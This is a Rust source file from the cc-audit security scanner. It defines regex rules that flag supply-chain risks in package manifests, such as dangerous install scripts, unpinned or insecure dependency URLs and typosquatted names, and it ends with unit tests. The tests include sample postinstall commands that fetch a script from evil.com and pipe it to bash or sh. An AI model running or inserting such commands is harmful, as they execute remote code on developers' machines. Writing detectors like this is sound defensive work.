cc-audit 3.14.0

Security auditor for Claude Code skills, hooks, and MCP servers
Documentation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
use crate::rules::types::{Category, Confidence, Rule, Severity};
use regex::Regex;

pub fn rules() -> Vec<Rule> {
    vec![
        dep_001(),
        dep_002(),
        dep_003(),
        dep_004(),
        dep_005(),
        dep_006(),
        dep_007(),
        dep_008(),
        dep_009(),
        dep_010(),
        dep_011(),
    ]
}

fn dep_001() -> Rule {
    Rule {
        id: "DEP-001",
        name: "Dangerous lifecycle script",
        description: "Detects potentially dangerous scripts in package.json lifecycle hooks (postinstall, preinstall, etc.)",
        severity: Severity::Critical,
        category: Category::SupplyChain,
        confidence: Confidence::Firm,
        patterns: vec![
            // postinstall/preinstall with curl/wget piped to shell
            Regex::new(
                r#""(post|pre)install"\s*:\s*"[^"]*\b(curl|wget)\b[^"]*\|\s*(bash|sh|node)"#,
            )
            .expect("DEP-001: invalid regex"),
            // postinstall/preinstall with eval
            Regex::new(r#""(post|pre)install"\s*:\s*"[^"]*\beval\b"#)
                .expect("DEP-001: invalid regex"),
            // postinstall/preinstall downloading and executing
            Regex::new(r#""(post|pre)install"\s*:\s*"[^"]*&&\s*(bash|sh|node)\s"#)
                .expect("DEP-001: invalid regex"),
            // npm explore combined with script execution
            Regex::new(r#""(post|pre)install"\s*:\s*"[^"]*npm\s+explore"#)
                .expect("DEP-001: invalid regex"),
        ],
        exclusions: vec![],
        message: "Dangerous lifecycle script detected: may download and execute arbitrary code",
        recommendation: "Review the postinstall/preinstall script carefully. Consider removing or sandboxing it.",
        fix_hint: Some("Remove dangerous network operations from lifecycle scripts"),
        cwe_ids: &["CWE-829", "CWE-494"],
    }
}

fn dep_002() -> Rule {
    Rule {
        id: "DEP-002",
        name: "Git URL dependency",
        description: "Detects dependencies installed directly from git URLs without version pinning",
        severity: Severity::High,
        category: Category::SupplyChain,
        confidence: Confidence::Certain,
        patterns: vec![
            // npm: git://, git+https://, git+ssh://, github:
            Regex::new(r#":\s*"(git://|git\+https://|git\+ssh://|github:)[^"]*"#)
                .expect("DEP-002: invalid regex"),
            // Cargo: git = "..."
            Regex::new(r#"\bgit\s*=\s*"https?://[^"]*""#).expect("DEP-002: invalid regex"),
            // pip: git+ in requirements
            Regex::new(r"^git\+https?://").expect("DEP-002: invalid regex"),
        ],
        exclusions: vec![],
        message: "Git URL dependency detected: version is not pinned to a specific commit or tag",
        recommendation: "Pin the dependency to a specific commit hash or tag for reproducibility",
        fix_hint: Some("Add #commit=<hash> or pin to a specific tag"),
        cwe_ids: &["CWE-829", "CWE-1357"],
    }
}

fn dep_003() -> Rule {
    Rule {
        id: "DEP-003",
        name: "Wildcard version dependency",
        description: "Detects dependencies using wildcard versions (*) that can lead to supply chain attacks",
        severity: Severity::Medium,
        category: Category::SupplyChain,
        confidence: Confidence::Certain,
        patterns: vec![
            // npm: "package": "*"
            Regex::new(r#":\s*"\*""#).expect("DEP-003: invalid regex"),
            // npm: "package": "latest"
            Regex::new(r#":\s*"latest""#).expect("DEP-003: invalid regex"),
            // Cargo: version = "*"
            Regex::new(r#"version\s*=\s*"\*""#).expect("DEP-003: invalid regex"),
        ],
        exclusions: vec![],
        message: "Wildcard version dependency detected: any version can be installed",
        recommendation: "Pin dependencies to specific versions or version ranges",
        fix_hint: Some("Replace \"*\" with a specific version like \"^1.0.0\""),
        cwe_ids: &["CWE-1357"],
    }
}

fn dep_004() -> Rule {
    Rule {
        id: "DEP-004",
        name: "HTTP dependency URL",
        description: "Detects dependencies fetched over insecure HTTP instead of HTTPS",
        severity: Severity::High,
        category: Category::SupplyChain,
        confidence: Confidence::Certain,
        patterns: vec![
            // http:// URLs in dependencies
            Regex::new(r#":\s*"http://[^"]*""#).expect("DEP-004: invalid regex"),
            Regex::new(r#"registry\s*=\s*"http://[^"]*""#).expect("DEP-004: invalid regex"),
            Regex::new(r"^http://").expect("DEP-004: invalid regex"),
        ],
        exclusions: vec![
            Regex::new(r"localhost|127\.0\.0\.1|::1").expect("DEP-004: invalid regex"),
        ],
        message: "Insecure HTTP dependency URL detected: vulnerable to MITM attacks",
        recommendation: "Use HTTPS URLs for all dependencies",
        fix_hint: Some("Change http:// to https://"),
        cwe_ids: &["CWE-829", "CWE-319"],
    }
}

fn dep_005() -> Rule {
    Rule {
        id: "DEP-005",
        name: "Tarball/file URL dependency",
        description: "Detects dependencies installed from direct tarball or file URLs",
        severity: Severity::High,
        category: Category::SupplyChain,
        confidence: Confidence::Firm,
        patterns: vec![
            // Direct tarball URLs
            Regex::new(r#":\s*"https?://[^"]*\.(tar\.gz|tgz|tar|zip)""#)
                .expect("DEP-005: invalid regex"),
            // file:// URLs
            Regex::new(r#":\s*"file://[^"]*""#).expect("DEP-005: invalid regex"),
        ],
        exclusions: vec![],
        message: "Direct file/tarball dependency detected: bypasses package registry security",
        recommendation: "Use package registry versions instead of direct file URLs",
        fix_hint: Some("Publish the package to a registry or use git with commit pinning"),
        cwe_ids: &["CWE-829", "CWE-494"],
    }
}

fn dep_006() -> Rule {
    Rule {
        id: "DEP-006",
        name: "Postinstall script execution",
        description: "Detects postinstall scripts that may execute arbitrary code",
        severity: Severity::Medium,
        category: Category::SupplyChain,
        confidence: Confidence::Tentative,
        patterns: vec![
            Regex::new(r#""postinstall"\s*:\s*"[^"]+""#).expect("DEP-006: invalid regex"),
            Regex::new(r#""install"\s*:\s*"[^"]+""#).expect("DEP-006: invalid regex"),
        ],
        exclusions: vec![
            // Common safe postinstall scripts
            Regex::new(r"node-gyp|husky|patch-package|ngcc|postinstall-postinstall")
                .expect("DEP-006: invalid regex"),
        ],
        message: "Postinstall script detected. These scripts run automatically after npm install.",
        recommendation: "Review the postinstall script to ensure it's safe. Consider using --ignore-scripts.",
        fix_hint: Some("npm install --ignore-scripts or review the script manually"),
        cwe_ids: &["CWE-829"],
    }
}

fn dep_007() -> Rule {
    Rule {
        id: "DEP-007",
        name: "Preinstall script execution",
        description: "Detects preinstall scripts that execute before package installation",
        severity: Severity::High,
        category: Category::SupplyChain,
        confidence: Confidence::Firm,
        patterns: vec![
            Regex::new(r#""preinstall"\s*:\s*"[^"]+""#).expect("DEP-007: invalid regex"),
        ],
        exclusions: vec![],
        message: "Preinstall script detected. These scripts run before installation completes.",
        recommendation: "Preinstall scripts are higher risk. Review carefully before proceeding.",
        fix_hint: Some("npm install --ignore-scripts or review the script manually"),
        cwe_ids: &["CWE-829"],
    }
}

fn dep_011() -> Rule {
    Rule {
        id: "DEP-011",
        name: "Prepare/prepublish lifecycle script execution",
        description: "Detects npm prepare/prepublish/prepublishOnly/prepack scripts that auto-run on install (including git and local dependencies)",
        severity: Severity::Medium,
        category: Category::SupplyChain,
        confidence: Confidence::Firm,
        patterns: vec![
            // `prepare` runs on `npm install` (no args), `npm ci`, and on install of
            // git/local dependencies — a well-documented supply-chain execution vector.
            Regex::new(r#""prepare"\s*:\s*"[^"]+""#).expect("DEP-011: invalid regex"),
            // `prepublish`/`prepublishOnly` run around publish/pack, still auto-executing.
            Regex::new(r#""prepublish(Only)?"\s*:\s*"[^"]+""#).expect("DEP-011: invalid regex"),
            Regex::new(r#""prepack"\s*:\s*"[^"]+""#).expect("DEP-011: invalid regex"),
        ],
        exclusions: vec![
            // Common safe lifecycle scripts. `husky install` is the canonical
            // `prepare` script; `is-ci` guards it in CI.
            Regex::new(r"node-gyp|husky|patch-package|is-ci|ngcc|postinstall-postinstall")
                .expect("DEP-011: invalid regex"),
        ],
        message: "Prepare/prepublish lifecycle script detected. `prepare` auto-runs on npm install (including git/local deps).",
        recommendation: "Review the script carefully; it executes automatically on install. Consider --ignore-scripts.",
        fix_hint: Some("npm install --ignore-scripts or review the script manually"),
        cwe_ids: &["CWE-829"],
    }
}

fn dep_008() -> Rule {
    Rule {
        id: "DEP-008",
        name: "Typosquatting package name",
        description: "Detects common typosquatting patterns in package names",
        severity: Severity::High,
        category: Category::SupplyChain,
        confidence: Confidence::Tentative,
        patterns: vec![
            // Common typosquatting patterns for popular packages
            Regex::new(r#""(loadash|lodahs|lod-ash|l0dash)"\s*:"#).expect("DEP-008: invalid regex"),
            Regex::new(r#""(reacct|reactt|re-act|raect)"\s*:"#).expect("DEP-008: invalid regex"),
            Regex::new(r#""(expresss|expres|ex-press|exppress)"\s*:"#)
                .expect("DEP-008: invalid regex"),
            Regex::new(r#""(axois|axioss|ax-ios|axos)"\s*:"#).expect("DEP-008: invalid regex"),
            Regex::new(r#""(momnet|momentt|mom-ent|momen)"\s*:"#).expect("DEP-008: invalid regex"),
        ],
        exclusions: vec![],
        message: "Potential typosquatting package detected. Verify the package name is correct.",
        recommendation: "Check the official package name and correct any typos.",
        fix_hint: Some("Verify package name at npmjs.com before installing"),
        cwe_ids: &["CWE-494", "CWE-1357"],
    }
}

fn dep_009() -> Rule {
    Rule {
        id: "DEP-009",
        name: "Dependency confusion pattern",
        description: "Detects internal/private package naming patterns that may be vulnerable to dependency confusion",
        severity: Severity::Medium,
        category: Category::SupplyChain,
        confidence: Confidence::Tentative,
        patterns: vec![
            // Common internal package prefixes
            Regex::new(r#""@internal/[^"]+"\s*:"#).expect("DEP-009: invalid regex"),
            Regex::new(r#""@private/[^"]+"\s*:"#).expect("DEP-009: invalid regex"),
            Regex::new(r#""@corp/[^"]+"\s*:"#).expect("DEP-009: invalid regex"),
            Regex::new(r#""@company/[^"]+"\s*:"#).expect("DEP-009: invalid regex"),
        ],
        exclusions: vec![],
        message: "Internal package naming pattern detected. Ensure private registry is configured.",
        recommendation: "Configure .npmrc to use private registry for internal packages.",
        fix_hint: Some("Add @scope:registry=https://your-private-registry in .npmrc"),
        cwe_ids: &["CWE-427", "CWE-1357"],
    }
}

fn dep_010() -> Rule {
    Rule {
        id: "DEP-010",
        name: "Unpinned major version",
        description: "Detects dependencies with unpinned major versions (^0.x or >=)",
        severity: Severity::Low,
        category: Category::SupplyChain,
        confidence: Confidence::Tentative,
        patterns: vec![
            // ^0.x.x allows breaking changes
            Regex::new(r#":\s*"\^0\.\d+\.\d+""#).expect("DEP-010: invalid regex"),
            // >= without upper bound
            Regex::new(r#":\s*">=\d+\.\d+\.\d+""#).expect("DEP-010: invalid regex"),
            // > without upper bound
            Regex::new(r#":\s*">\d+\.\d+\.\d+""#).expect("DEP-010: invalid regex"),
        ],
        exclusions: vec![],
        message: "Unpinned version range detected. May allow unexpected major version upgrades.",
        recommendation: "Use exact versions or tilde ranges for better reproducibility.",
        fix_hint: Some("Use exact version (1.2.3) or tilde range (~1.2.3)"),
        cwe_ids: &["CWE-1357"],
    }
}

#[cfg(test)]
mod tests {
    use super::*;

    #[test]
    fn test_dep_001_detects_dangerous_postinstall() {
        let rules = rules();
        let dep_001 = rules.iter().find(|r| r.id == "DEP-001").unwrap();

        let dangerous_scripts = vec![
            r#""postinstall": "curl http://evil.com/script.sh | bash""#,
            r#""preinstall": "wget http://evil.com/install.sh | sh""#,
            r#""postinstall": "eval $(curl http://evil.com)""#,
            r#""preinstall": "curl http://evil.com/setup && bash setup""#,
        ];

        for script in dangerous_scripts {
            let matched = dep_001.patterns.iter().any(|p| p.is_match(script));
            assert!(matched, "Should detect dangerous script: {}", script);
        }
    }

    #[test]
    fn test_dep_002_detects_git_url() {
        let rules = rules();
        let dep_002 = rules.iter().find(|r| r.id == "DEP-002").unwrap();

        let git_urls = vec![
            r#": "git://github.com/user/repo""#,
            r#": "git+https://github.com/user/repo""#,
            r#": "github:user/repo""#,
            r#"git = "https://github.com/user/repo""#,
        ];

        for url in git_urls {
            let matched = dep_002.patterns.iter().any(|p| p.is_match(url));
            assert!(matched, "Should detect git URL: {}", url);
        }
    }

    #[test]
    fn test_dep_003_detects_wildcard_version() {
        let rules = rules();
        let dep_003 = rules.iter().find(|r| r.id == "DEP-003").unwrap();

        let wildcards = vec![r#": "*""#, r#": "latest""#, r#"version = "*""#];

        for wildcard in wildcards {
            let matched = dep_003.patterns.iter().any(|p| p.is_match(wildcard));
            assert!(matched, "Should detect wildcard version: {}", wildcard);
        }
    }

    #[test]
    fn test_dep_004_detects_http_url() {
        let rules = rules();
        let dep_004 = rules.iter().find(|r| r.id == "DEP-004").unwrap();

        let http_urls = vec![
            r#": "http://example.com/package.tar.gz""#,
            r#"registry = "http://insecure-registry.com""#,
        ];

        for url in http_urls {
            let matched = dep_004.patterns.iter().any(|p| p.is_match(url));
            assert!(matched, "Should detect HTTP URL: {}", url);
        }

        // Should not match localhost
        let localhost = r#": "http://localhost:4873/package""#;
        let matched = dep_004.patterns.iter().any(|p| p.is_match(localhost));
        let excluded = dep_004.exclusions.iter().any(|e| e.is_match(localhost));
        assert!(matched && excluded, "Should exclude localhost");
    }

    #[test]
    fn test_dep_005_detects_tarball_url() {
        let rules = rules();
        let dep_005 = rules.iter().find(|r| r.id == "DEP-005").unwrap();

        let tarball_urls = vec![
            r#": "https://example.com/package.tar.gz""#,
            r#": "https://example.com/package.tgz""#,
            r#": "file:///home/user/package""#,
        ];

        for url in tarball_urls {
            let matched = dep_005.patterns.iter().any(|p| p.is_match(url));
            assert!(matched, "Should detect tarball/file URL: {}", url);
        }
    }

    #[test]
    fn test_all_rules_have_cwe_ids() {
        for rule in rules() {
            assert!(
                !rule.cwe_ids.is_empty(),
                "Rule {} should have CWE IDs",
                rule.id
            );
        }
    }

    #[test]
    fn test_all_rules_have_supply_chain_category() {
        for rule in rules() {
            assert_eq!(
                rule.category,
                Category::SupplyChain,
                "Rule {} should be SupplyChain category",
                rule.id
            );
        }
    }

    // Snapshot tests
    #[test]
    fn snapshot_dep_001() {
        let rule = dep_001();
        let content = include_str!("../../../tests/fixtures/rules/dep_001.txt");
        let findings = crate::rules::snapshot_test::scan_with_rule(&rule, content);
        crate::assert_rule_snapshot!("dep_001", findings);
    }

    #[test]
    fn snapshot_dep_002() {
        let rule = dep_002();
        let content = include_str!("../../../tests/fixtures/rules/dep_002.txt");
        let findings = crate::rules::snapshot_test::scan_with_rule(&rule, content);
        crate::assert_rule_snapshot!("dep_002", findings);
    }

    #[test]
    fn snapshot_dep_003() {
        let rule = dep_003();
        let content = include_str!("../../../tests/fixtures/rules/dep_003.txt");
        let findings = crate::rules::snapshot_test::scan_with_rule(&rule, content);
        crate::assert_rule_snapshot!("dep_003", findings);
    }

    #[test]
    fn snapshot_dep_004() {
        let rule = dep_004();
        let content = include_str!("../../../tests/fixtures/rules/dep_004.txt");
        let findings = crate::rules::snapshot_test::scan_with_rule(&rule, content);
        crate::assert_rule_snapshot!("dep_004", findings);
    }

    #[test]
    fn snapshot_dep_005() {
        let rule = dep_005();
        let content = include_str!("../../../tests/fixtures/rules/dep_005.txt");
        let findings = crate::rules::snapshot_test::scan_with_rule(&rule, content);
        crate::assert_rule_snapshot!("dep_005", findings);
    }

    #[test]
    fn snapshot_dep_011() {
        let rule = dep_011();
        let content = include_str!("../../../tests/fixtures/rules/dep_011.txt");
        let findings = crate::rules::snapshot_test::scan_with_rule(&rule, content);
        crate::assert_rule_snapshot!("dep_011", findings);
    }
}